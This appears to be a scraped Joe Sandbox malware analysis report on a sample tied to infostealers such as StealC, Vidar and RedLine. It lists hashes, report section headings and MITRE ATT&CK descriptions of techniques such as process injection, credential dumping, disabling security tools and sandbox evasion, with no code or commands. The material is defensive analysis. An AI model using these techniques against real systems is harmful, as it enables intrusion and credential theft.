Instruction ID: bac0131d84def1c2af0a9ab84dbceb1ae65811b3fbfa2fd29ca3e29442f598ae
Opcode Fuzzy Hash: 5fa632deebd8181b9f3ea37834cf4eccbda839d7d0d6f948310c23224b4a93e7
Instruction Fuzzy Hash: 5BF03A10A0B2464CFF567A69582027496905F667A6FB81A30DB2E862CDDD9CE440C130

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Vidar

Threatname: Cryptbot

Threatname: RedLine

Yara Signatures

Initial Sample

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Change of critical system settings

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Bitcoin Miner

Compliance

Change of critical system settings

Spreading

Software Vulnerabilities

Networking

E-Banking Fraud

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Windows Analysis Report
file.exe

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	Process: OS API Execution, Process: Process Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre